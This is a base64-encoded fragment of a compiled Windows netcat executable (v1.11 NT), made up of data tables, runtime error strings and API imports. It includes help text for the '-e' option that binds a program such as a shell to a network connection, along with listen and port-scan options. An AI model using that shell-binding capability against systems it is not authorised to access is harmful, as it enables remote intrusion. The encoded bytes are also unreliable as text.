AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs1AAAjNcAAGzXAABY1wAASNcAADjXAAAo1wAAFtcAAATXAADy1gAA4NYAANTWAADE1gAAstYAAJjWAACM1gAAgtYAAHDWAABk1gAATtYAADzWAAAs1gAAFtYAAKzSAAC80gAAytIAANzSAADu0gAAAtMAABDTAAAY0wAAJNMAADTTAABA0wAATtMAAGTTAAB40wAAktMAAKTTAAC00wAAxNMAAODTAADu0wAA+tMAAAbUAAAY1AAAmtcAAEbUAABY1AAAaNQAAILUAACS1AAAqNQAAL7UAADU1AAA4tQAAPDUAAD+1AAADtUAABzVAAAy1QAARNUAAFLVAABk1QAAeNUAAITVAACg1QAAutUAANLVAADs1QAABtYAAAAAAACXAACAEgAAgA0AAIAGAACAEQAAgAEAAIBwAACAFwAAgBUAAIACAACABAAAgAkAAIA4AACADwAAgDcAAIALAACANAAAgAwAAIAzAACAbwAAgHMAAIB0AACAFgAAgAMAAIAQAACAEwAAgAAAAAAAAAAAAAAAAFTy0kEAAAAAAgAAADUAAACA0AAAgNAAAEZhaWxlZCB0byBleGVjdXRlIHNoZWxsLCBlcnJvciA9ICVzAFNlc3Npb25SZWFkU2hlbGxUaHJlYWRGbiBleGl0dGVkLCBlcnJvciA9ICVzAAAAAGV4aXQNCgAARmFpbGVkIHRvIGV4ZWN1dGUgc2hlbGwARmFpbGVkIHRvIGNyZWF0ZSBzaGVsbCBzdGRpbiBwaXBlLCBlcnJvciA9ICVzAAAARmFpbGVkIHRvIGNyZWF0ZSBzaGVsbCBzdGRvdXQgcGlwZSwgZXJyb3IgPSAlcwAAV2FpdEZvck11bHRpcGxlT2JqZWN0cyBlcnJvcjogJXMAAAAARmFpbGVkIHRvIGNyZWF0ZSBSZWFkU2hlbGwgc2Vzc2lvbiB0aHJlYWQsIGVycm9yID0gJXMAAABQT1NJWExZX0NPUlJFQ1QAJXM6IGludmFsaWQgb3B0aW9uIC0tICVjCgAAACVzOiBpbGxlZ2FsIG9wdGlvbiAtLSAlYwoAAAAlczogb3B0aW9uIHJlcXVpcmVzIGFuIGFyZ3VtZW50IC0tICVjCgAAJXM6IHVucmVjb2duaXplZCBvcHRpb24gYCVjJXMnCgAlczogdW5yZWNvZ25pemVkIG9wdGlvbiBgLS0lcycKACVzOiBvcHRpb24gYCVzJyByZXF1aXJlcyBhbiBhcmd1bWVudAoAAAAlczogb3B0aW9uIGAlYyVzJyBkb2Vzbid0IGFsbG93IGFuIGFyZ3VtZW50CgAAAAAlczogb3B0aW9uIGAtLSVzJyBkb2Vzbid0IGFsbG93IGFuIGFyZ3VtZW50CgAAAAAlczogb3B0aW9uIGAlcycgaXMgYW1iaWd1b3VzCgAAAC0tAAB1bmtub3duIHNvY2tldCBlcnJvcgAAAABOT19EQVRBICAgICAgICAATk9fUkVDT1ZFUlkgICAgAFRSWV9BR0FJTiAgICAgIABIT1NUX05PVF9GT1VORCAARElTQ09OICAgICAgICAAAE5PVElOSVRJQUxJU0VEIABWRVJOT1RTVVBQT1JURUQAU1lTTk9UUkVBRFkgICAgAFJFTU9URSAgICAgICAgAABTVEFMRSAgICAgICAgIAAARFFVT1QgICAgICAgICAAAFVTRVJTICAgICAgICAgAABQUk9DTElNICAgICAgIAAATk9URU1QVFkgICAgICAAAEhPU1RVTlJFQUNIICAgAABIT1NURE9XTiAgICAgIAAATkFNRVRPT0xPTkcgICAAAExPT1AgICAgICAgICAgAABjb25uZWN0aW9uIHJlZnVzZWQAAFRJTUVET1VUICAgICAgAABUT09NQU5ZUkVGUyAgIAAAU0hVVERPV04gICAgICAAAE5PVENPTk4gICAgICAgAABJU0NPTk4gICAgICAgIAAATk9CVUZTICAgICAgICAAAENPTk5SRVNFVCAgICAgAABDT05OQUJPUlRFRCAgIAAATkVUUkVTRVQgICAgICAAAE5FVFVOUkVBQ0ggICAgAABORVRET1dOICAgICAgIAAAQUREUk5PVEFWQUlMICAAAEFERFJJTlVTRSAgICAgAABBRk5PU1VQUE9SVCAgIAAAUEZOT1NVUFBPUlQgICAAAE9QTk9UU1VQUCAgICAgAABTT0NLVE5PU1VQUE9SVAAAUFJPVE9OT1NVUFBPUlQAAE5PUFJPVE9PUFQgICAgAABQUk9UT1RZUEUgICAgIAAATVNHU0laRSAgICAgICAAAERFU1RBRERSUkVRICAgAABOT1RTT0NLICAgICAgIAAAQUxSRUFEWSAgICAgICAAAElOUFJPR1JFU1MgICAgAABXT1VMREJMT0NLICAgIAAATUZJTEUgICAgICAgICAAAElOVkFMICAgICAgICAgAABGQVVMVCAgICAgICAgIAAAQUNDRVMgICAgICAgICAAAEJBREYgICAgICAgICAgAABJTlRSICAgICAgICAgIAAACgAAADogJXMKAAAASG1hbGxvYyAlZCBmYWlsZWQAAABETlMgZndkL3JldiBtaXNtYXRjaDogJXMgIT0gJXMAAFdhcm5pbmc6IGZvcndhcmQgaG9zdCBsb29rdXAgZmFpbGVkIGZvciAlczogaF9lcnJubyAlZAAAJXM6IGludmVyc2UgaG9zdCBsb29rdXAgZmFpbGVkOiBoX2Vycm5vICVkAABXYXJuaW5nOiBpbnZlcnNlIGhvc3QgbG9va3VwIGZhaWxlZCBmb3IgJXM6IGhfZXJybm8gJWQAACVzOiBmb3J3YXJkIGhvc3QgbG9va3VwIGZhaWxlZDogaF9lcnJubyAlZAAAZ2V0aG9zdHBvb3AgZnV4b3JlZABDYW4ndCBwYXJzZSAlcyBhcyBhbiBJUCBhZGRyZXNzACVkAABXYXJuaW5nOiBwb3J0LWJ5bnVtIG1pc21hdGNoLCAlZCAhPSAlZAAAbG9hZHBvcnRzOiBib2d1cyB2YWx1ZXMgJWQsICVkAABsb2FkcG9ydHM6IG5vIGJsb2NrPyEAAABXYXJuaW5nOiBzb3VyY2Ugcm91dGluZyB1bmF2YWlsYWJsZSBvbiB0aGlzIG1hY2hpbmUsIGlnbm9yaW5nAAAAQ2FuJ3QgZ3JhYiAlczolZCB3aXRoIGJpbmQAAHJldHJ5aW5nIGxvY2FsICVzOiVkAAAAAG5uZXRmZCByZXVzZWFkZHIgZmFpbGVkAENhbid0IGdldCBzb2NrZXQAAAAAY29ubmVjdCB0byBbJXNdIGZyb20gJXMgWyVzXSAlZABpbnZhbGlkIGNvbm5lY3Rpb24gdG8gWyVzXSBmcm9tICVzIFslc10gJWQAAHBvc3QtcmN2IGdldHNvY2tuYW1lIGZhaWxlZABdICVkIC4uLgAAAABhbnkAbGlzdGVuaW5nIG9uIFsAAGxvY2FsIGdldHNvY2tuYW1lIGZhaWxlZAAAAABsb2NhbCBsaXN0ZW4gZnV4b3JlZAAAAABVRFAgbGlzdGVuIG5lZWRzIC1wIGFyZwB1ZHB0ZXN0IGZpcnN0IHdyaXRlIGZhaWxlZD8hIGVycm5vICVkAAAAb2ZkIHdyaXRlIGVycgAAACU4Ljh4IAAAb3ByaW50IGNhbGxlZCB3aXRoIG5vIG9wZW4gZmQ/IQB0b28gbWFueSBvdXRwdXQgcmV0cmllcwBuZXQgdGltZW91dABzZWxlY3QgZnV4b3JlZAAAUHJlcG9zdGVyb3VzIFBvaW50ZXJzOiAlZCwgJWQAAABwb3J0IG51bWJlcnMgY2FuIGJlIGluZGl2aWR1YWwgb3IgcmFuZ2VzOiBtLW4gW2luY2x1c2l2ZV0AAAAJLXUJCVVEUCBtb2RlCgktdgkJdmVyYm9zZSBbdXNlIHR3aWNlIHRvIGJlIG1vcmUgdmVyYm9zZV0KCS13IHNlY3MJCXRpbWVvdXQgZm9yIGNvbm5lY3RzIGFuZCBmaW5hbCBuZXQgcmVhZHMKCS16CQl6ZXJvLUkvTyBtb2RlIFt1c2VkIGZvciBzY2FubmluZ10ACS10CQlhbnN3ZXIgVEVMTkVUIG5lZ290aWF0aW9uAAAAAAAACS1nIGdhdGV3YXkJc291cmNlLXJvdXRpbmcgaG9wIHBvaW50W3NdLCB1cCB0byA4CgktRyBudW0JCXNvdXJjZS1yb3V0aW5nIHBvaW50ZXI6IDQsIDgsIDEyLCAuLi4KCS1oCQl0aGlzIGNydWZ0CgktaSBzZWNzCQlkZWxheSBpbnRlcnZhbCBmb3IgbGluZXMgc2VudCwgcG9ydHMgc2Nhbm5lZAoJLWwJCWxpc3RlbiBtb2RlLCBmb3IgaW5ib3VuZCBjb25uZWN0cwoJLUwJCWxpc3RlbiBoYXJkZXIsIHJlLWxpc3RlbiBvbiBzb2NrZXQgY2xvc2UKCS1uCQludW1lcmljLW9ubHkgSVAgYWRkcmVzc2VzLCBubyBETlMKCS1vIGZpbGUJCWhleCBkdW1wIG9mIHRyYWZmaWMKCS1wIHBvcnQJCWxvY2FsIHBvcnQgbnVtYmVyCgktcgkJcmFuZG9taXplIGxvY2FsIGFuZCByZW1vdGUgcG9ydHMKCS1zIGFkZHIJCWxvY2FsIHNvdXJjZSBhZGRyZXNzAAAACS1lIHByb2cJCWluYm91bmQgcHJvZ3JhbSB0byBleGVjIFtkYW5nZXJvdXMhIV0ACS1kCQlkZXRhY2ggZnJvbSBjb25zb2xlLCBiYWNrZ3JvdW5kIG1vZGUKAABbdjEuMTEgTlQgd3d3LnZ1bG53YXRjaC5vcmcvbmV0Y2F0L10KY29ubmVjdCB0byBzb21ld2hlcmU6CW5jIFstb3B0aW9uc10gaG9zdG5hbWUgcG9ydFtzXSBbcG9ydHNdIC4uLiAKbGlzdGVuIGZvciBpbmJvdW5kOgluYyAtbCAtcCBwb3J0IFtvcHRpb25zXSBbaG9zdG5hbWVdIFtwb3J0XQpvcHRpb25zOgAAAG5vIHBvcnRbc10gdG8gY29ubmVjdCB0bwAAAABubyBkZXN0aW5hdGlvbgAAbm8gY29ubmVjdGlvbgAAAGludmFsaWQgcG9ydCAlcwBjYW4ndCBvcGVuICVzAAAAbmMgLWggZm9yIGhlbHAAAGludmFsaWQgd2FpdC10aW1lICVzAAAAAHRvbyBtYW55IC1nIGhvcHMAAAAAaW52YWxpZCBob3AgcG9pbnRlciAlZCwgbXVzdCBiZSBtdWx0aXBsZSBvZiA0IDw9IDI4AGFsbC1BLXJlY29yZHMgTklZAAAAd3JvbmcAAABzZW50ICVkLCByY3ZkICVkAAAAACVzIFslc10gJWQgKCVzKQAlcyBbJXNdICVkICglcykgb3BlbgAAAABpbnZhbGlkIGxvY2FsIHBvcnQgJXMAAABpbnZhbGlkIGludGVydmFsIHRpbWUgJXMAAAAAYWRlOmc6RzpoaTpsTG5vOnA6cnM6dHV2dzp6AENtZCBsaW5lOiAAAP////9ZQEAAXUBAAENvckV4aXRQcm9jZXNzAABtc2NvcmVlLmRsbAD/////UExAAGRMQABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkAAAAAUHJvZ3JhbTogAAAACgoAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AABBIGJ1ZmZlciBvdmVycnVuIGhhcyBiZWVuIGRldGVjdGVkIHdoaWNoIGhhcyBjb3JydXB0ZWQgdGhlIHByb2dyYW0ncwppbnRlcm5hbCBzdGF0ZS4gIFRoZSBwcm9ncmFtIGNhbm5vdCBzYWZlbHkgY29udGludWUgZXhlY3V0aW9uIGFuZCBtdXN0Cm5vdyBiZSB0ZXJtaW5hdGVkLgoAQnVmZmVyIG92ZXJydW4gZGV0ZWN0ZWQhAAAAAAAAAABBIHNlY3VyaXR5IGVycm9yIG9mIHVua25vd24gY2F1c2UgaGFzIGJlZW4gZGV0ZWN0ZWQgd2hpY2ggaGFzCmNvcnJ1cHRlZCB0aGUgcHJvZ3JhbSdzIGludGVybmFsIHN0YXRlLiAgVGhlIHByb2dyYW0gY2Fubm90IHNhZmVseQpjb250aW51ZSBleGVjdXRpb24gYW5kIG11c3Qgbm93IGJlIHRlcm1pbmF0ZWQuCgAAAABVbmtub3duIHNlY3VyaXR5IGZhaWx1cmUgZGV0ZWN0ZWQhAAD/////KE1AACxNQAAAAAAABgAABgABAAAQAAMGAAYCEARFRUUFBQUFBTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgIAAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAAAAAAAA/////5VrQACZa0AAAAAAAP/////Za0AA3WtAAAAAAAD/////+2xAAA9tQABydW50aW1lIGVycm9yIAAADQoAAFRMT1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI5DQotIFRoaXMgYXBwbGljYXRpb24gY2Fubm90IHJ1biB1c2luZyB0aGUgYWN0aXZlIHZlcnNpb24gb2YgdGhlIE1pY3Jvc29mdCAuTkVUIFJ1bnRpbWUKUGxlYXNlIGNvbnRhY3QgdGhlIGFwcGxpY2F0aW9uJ3Mgc3VwcG9ydCB0ZWFtIGZvciBtb3JlIGluZm9ybWF0aW9uLg0KAAAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQpUaGlzIGFwcGxpY2F0aW9uIGhhcyByZXF1ZXN0ZWQgdGhlIFJ1bnRpbWUgdG8gdGVybWluYXRlIGl0IGluIGFuIHVudXN1YWwgd2F5LgpQbGVhc2UgY29udGFjdCB0aGUgYXBwbGljYXR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Db21tYW5kTGluZUEA3wFHZXRWZXJzaW9uRXhBAJcCUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIA1QFHZXRUaWNrQ291bnQAAD4BR2V0Q3VycmVudFRocmVhZElkAAA7AUdldEN1cnJlbnRQcm9jZXNzSWQAdQFHZXRNb2R1bGVGaWxlTmFtZUEAAAoCSGVhcERlc3Ryb3kACAJIZWFwQ3JlYXRlAAB2A1ZpcnR1YWxGcmVlAHMDVmlydHVhbEFsbG9jAAAQAkhlYXBSZUFsbG9jAIcDV2lkZUNoYXJUb011bHRpQnl0ZQAXA1NldEhhbmRsZUNvdW50AABeAUdldEZpbGVUeXBlAK8BR2V0U3RhcnR1cEluZm9BAOUARmx1c2hGaWxlQnVmZmVycwAAygJSdGxVbndpbmQAYANVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAO0ARnJlZUVudmlyb25tZW50U3RyaW5nc0EATQFHZXRFbnZpcm9ubWVudFN0cmluZ3MA7gBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBPAUdldEVudmlyb25tZW50U3RyaW5nc1cAAEgCTG9hZExpYnJhcnlBAAAfAkludGVybG9ja2VkRXhjaGFuZ2UAewNWaXJ0dWFsUXVlcnkAADQAQ29tcGFyZVN0cmluZ0EAAGsCTXVsdGlCeXRlVG9XaWRlQ2hhcgD8AEdldENQSW5mbwA1AENvbXBhcmVTdHJpbmdXAAD1AEdldEFDUAAAiwFHZXRPRU1DUAAABgNTZXRFbnZpcm9ubWVudFZhcmlhYmxlQQAOA1NldEZpbGVQb2ludGVyAAAqA1NldFN0ZEhhbmRsZQAAEgJIZWFwU2l6ZQAAsgFHZXRTdHJpbmdUeXBlQQAAtQFHZXRTdHJpbmdUeXBlVwAAbAFHZXRMb2NhbGVJbmZvQQAAeQNWaXJ0dWFsUHJvdGVjdAAAuwFHZXRTeXN0ZW1JbmZvADoCTENNYXBTdHJpbmdBAAA7AkxDTWFwU3RyaW5nVwAAgwJQZWVrQ29uc29sZUlucHV0QQCJAUdldE51bWJlck9mQ29uc29sZUlucHV0RXZlbnRzAE0AQ3JlYXRlRmlsZUEAAwNTZXRFbmRPZkZpbGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA